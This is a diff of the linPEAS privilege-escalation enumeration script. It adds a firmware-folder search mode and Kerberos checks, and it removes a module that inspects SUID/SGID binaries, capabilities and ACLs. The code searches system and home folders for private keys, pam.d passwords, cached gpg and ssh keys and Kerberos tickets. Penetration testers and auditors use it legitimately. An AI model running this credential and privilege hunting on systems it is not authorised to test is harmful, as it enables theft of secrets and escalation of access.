privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
|
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
|
||||||
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
|
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
|
||||||
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
|
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
|
||||||
|
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
|
||||||
|
else
|
||||||
|
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
|
||||||
|
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
|
||||||
|
fi
|
||||||
else
|
else
|
||||||
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
|
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
|
||||||
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
|
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
|
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
|
||||||
@@ -267,7 +277,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
|
|||||||
ssh-add -l
|
ssh-add -l
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then
|
if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
|
||||||
print_3title "Listing gpg keys cached in gpg-agent"
|
print_3title "Listing gpg keys cached in gpg-agent"
|
||||||
gpg-connect-agent "keyinfo --list" /bye
|
gpg-connect-agent "keyinfo --list" /bye
|
||||||
echo ""
|
echo ""
|
||||||
@@ -284,29 +294,29 @@ fi
|
|||||||
if [ "$hostsdenied" ]; then
|
if [ "$hostsdenied" ]; then
|
||||||
print_3title "/etc/hosts.denied file found, read the rules:"
|
print_3title "/etc/hosts.denied file found, read the rules:"
|
||||||
printf "$hostsdenied\n"
|
printf "$hostsdenied\n"
|
||||||
cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
if [ "$hostsallow" ]; then
|
if [ "$hostsallow" ]; then
|
||||||
print_3title "/etc/hosts.allow file found, trying to read the rules:"
|
print_3title "/etc/hosts.allow file found, trying to read the rules:"
|
||||||
printf "$hostsallow\n"
|
printf "$hostsallow\n"
|
||||||
cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
if [ "$sshconfig" ]; then
|
if [ "$sshconfig" ]; then
|
||||||
echo ""
|
echo ""
|
||||||
echo "Searching inside /etc/ssh/ssh_config for interesting info"
|
echo "Searching inside /etc/ssh/ssh_config for interesting info"
|
||||||
grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
peass{PAM Auth}
|
peass{PAM Auth}
|
||||||
|
|
||||||
#-- SI) Passwords inside pam.d
|
#-- SI) Passwords inside pam.d
|
||||||
pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#")
|
pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
|
||||||
if [ "$pamdpass" ] || [ "$DEBUG" ]; then
|
if [ "$pamdpass" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Passwords inside pam.d"
|
print_2title "Passwords inside pam.d"
|
||||||
grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -315,17 +325,21 @@ peass{NFS Exports}
|
|||||||
#-- SI) Kerberos
|
#-- SI) Kerberos
|
||||||
kadmin_exists="$(command -v kadmin)"
|
kadmin_exists="$(command -v kadmin)"
|
||||||
klist_exists="$(command -v klist)"
|
klist_exists="$(command -v klist)"
|
||||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
kinit_exists="$(command -v kinit)"
|
||||||
|
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching kerberos conf files and tickets"
|
print_2title "Searching kerberos conf files and tickets"
|
||||||
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
|
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
|
||||||
|
|
||||||
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
||||||
|
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
|
||||||
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
||||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
|
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
|
||||||
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
|
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
|
||||||
|
|
||||||
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
|
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
|
||||||
if [ -r "$f" ]; then
|
if [ -r "$f" ]; then
|
||||||
if echo "$f" | grep -q .k5login; then
|
if echo "$f" | grep -q .k5login; then
|
||||||
@@ -366,6 +380,8 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [
|
|||||||
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
peass{FreeIPA}
|
||||||
|
|
||||||
peass{Knockd}
|
peass{Knockd}
|
||||||
|
|
||||||
peass{Kibana}
|
peass{Kibana}
|
||||||
@@ -495,7 +511,7 @@ SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
|
|||||||
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
|
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching uncommon passwd files (splunk)"
|
print_2title "Searching uncommon passwd files (splunk)"
|
||||||
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
|
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
|
||||||
printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do
|
printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
|
||||||
if [ -f "$f" ] && ! [ -x "$f" ]; then
|
if [ -f "$f" ] && ! [ -x "$f" ]; then
|
||||||
echo "passwd file: $f" | sed "s,$f,${SED_RED},"
|
echo "passwd file: $f" | sed "s,$f,${SED_RED},"
|
||||||
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
|
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
|
||||||
@@ -558,26 +574,30 @@ peass{Cache Vi}
|
|||||||
peass{Wget}
|
peass{Wget}
|
||||||
|
|
||||||
##-- SI) containerd installed
|
##-- SI) containerd installed
|
||||||
containerd=$(command -v ctr)
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
containerd=$(command -v ctr)
|
||||||
print_2title "Checking if containerd(ctr) is available"
|
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
print_2title "Checking if containerd(ctr) is available"
|
||||||
if [ "$containerd" ]; then
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||||
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
if [ "$containerd" ]; then
|
||||||
ctr image list 2>&1
|
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
ctr image list 2>&1
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
fi
|
fi
|
||||||
echo ""
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
##-- SI) runc installed
|
##-- SI) runc installed
|
||||||
runc=$(command -v runc)
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
runc=$(command -v runc)
|
||||||
print_2title "Checking if runc is available"
|
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
print_2title "Checking if runc is available"
|
||||||
if [ "$runc" ]; then
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
||||||
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
if [ "$runc" ]; then
|
||||||
|
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
fi
|
fi
|
||||||
echo ""
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#-- SI) Docker
|
#-- SI) Docker
|
||||||
|
|||||||
@@ -1,712 +0,0 @@
|
|||||||
###########################################
|
|
||||||
#----------) Interesting files (----------#
|
|
||||||
###########################################
|
|
||||||
|
|
||||||
check_critial_root_path(){
|
|
||||||
folder_path="$1"
|
|
||||||
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
|
||||||
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
|
||||||
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
##-- IF) SUID
|
|
||||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
|
||||||
if ! [ "$STRINGS" ]; then
|
|
||||||
echo_not_found "strings"
|
|
||||||
fi
|
|
||||||
if ! [ "$STRACE" ]; then
|
|
||||||
echo_not_found "strace"
|
|
||||||
fi
|
|
||||||
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
|
||||||
for s in $suids_files; do
|
|
||||||
s=$(ls -lahtr "$s")
|
|
||||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
|
||||||
if echo "$s" | grep -qE "^total"; then break; fi
|
|
||||||
|
|
||||||
sname="$(echo $s | awk '{print $9}')"
|
|
||||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
|
||||||
true #Don't do nothing
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
|
||||||
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
|
||||||
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
c="a"
|
|
||||||
for b in $sidB; do
|
|
||||||
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
|
||||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
|
||||||
c=""
|
|
||||||
break;
|
|
||||||
fi
|
|
||||||
done;
|
|
||||||
if [ "$c" ]; then
|
|
||||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
|
||||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
|
|
||||||
printf $ITALIC
|
|
||||||
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
|
|
||||||
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
|
||||||
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
|
||||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
|
||||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
|
||||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
|
||||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
|
||||||
fi
|
|
||||||
else #If not a path
|
|
||||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
|
|
||||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
|
||||||
printf $ITALIC
|
|
||||||
echo "----------------------------------------------------------------------------------------"
|
|
||||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
|
||||||
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
|
||||||
export LD_LIBRARY_PATH=""
|
|
||||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
|
||||||
printf $NC
|
|
||||||
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
|
||||||
echo "----------------------------------------------------------------------------------------"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
done;
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
|
|
||||||
##-- IF) SGID
|
|
||||||
print_2title "SGID"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
|
||||||
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
|
||||||
for s in $sgids_files; do
|
|
||||||
s=$(ls -lahtr "$s")
|
|
||||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
|
||||||
if echo "$s" | grep -qE "^total";then break; fi
|
|
||||||
|
|
||||||
sname="$(echo $s | awk '{print $9}')"
|
|
||||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
|
||||||
true #Don't do nothing
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
|
||||||
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
|
||||||
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
c="a"
|
|
||||||
for b in $sidB; do
|
|
||||||
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
|
||||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
|
||||||
c=""
|
|
||||||
break;
|
|
||||||
fi
|
|
||||||
done;
|
|
||||||
if [ "$c" ]; then
|
|
||||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
|
||||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
|
||||||
else
|
|
||||||
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
|
||||||
printf $ITALIC
|
|
||||||
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
|
|
||||||
$STRINGS "$sname" | sort | uniq | while read sline; do
|
|
||||||
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
|
||||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
|
||||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
|
||||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
|
||||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
|
||||||
fi
|
|
||||||
else #If not a path
|
|
||||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
|
|
||||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
|
||||||
printf "$ITALIC"
|
|
||||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
|
||||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
|
||||||
printf "$NC"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
done;
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Misconfigured ld.so
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
|
|
||||||
print_2title "Checking misconfigurations of ld.so"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so"
|
|
||||||
printf $ITALIC"/etc/ld.so.conf\n"$NC;
|
|
||||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
|
||||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
|
||||||
if echo "$l" | grep -q include; then
|
|
||||||
ini_path=$(echo "$l" | cut -d " " -f 2)
|
|
||||||
fpath=$(dirname "$ini_path")
|
|
||||||
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
|
||||||
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
|
||||||
for f in $fpath/*; do
|
|
||||||
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
|
||||||
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
|
||||||
done
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Capabilities
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Capabilities"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
|
||||||
if [ "$(command -v capsh)" ]; then
|
|
||||||
echo "Current env capabilities:"
|
|
||||||
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
|
|
||||||
echo "Current proc capabilities:"
|
|
||||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
|
||||||
echo ""
|
|
||||||
echo "Parent Shell capabilities:"
|
|
||||||
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
|
|
||||||
else
|
|
||||||
echo "Current capabilities:"
|
|
||||||
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
|
|
||||||
echo ""
|
|
||||||
echo "Shell capabilities:"
|
|
||||||
cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
echo "Files with capabilities (limited to 50):"
|
|
||||||
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
|
||||||
capsVB_vuln=""
|
|
||||||
|
|
||||||
for capVB in $capsVB; do
|
|
||||||
capname="$(echo $capVB | cut -d ':' -f 1)"
|
|
||||||
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
|
||||||
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
|
||||||
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
|
||||||
capsVB_vuln="1"
|
|
||||||
break
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
if ! [ "$capsVB_vuln" ]; then
|
|
||||||
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
|
||||||
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Users with capabilities
|
|
||||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
|
||||||
print_2title "Users with capabilities"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
|
||||||
if [ -f "/etc/security/capability.conf" ]; then
|
|
||||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
|
||||||
else echo_not_found "/etc/security/capability.conf"
|
|
||||||
fi
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) AppArmor profiles to prevent suid/capabilities abuse
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
|
|
||||||
print_2title "AppArmor binary profiles"
|
|
||||||
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Files with ACLs
|
|
||||||
print_2title "Files with ACLs (limited to 50)"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
|
||||||
else
|
|
||||||
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
|
||||||
fi
|
|
||||||
|
|
||||||
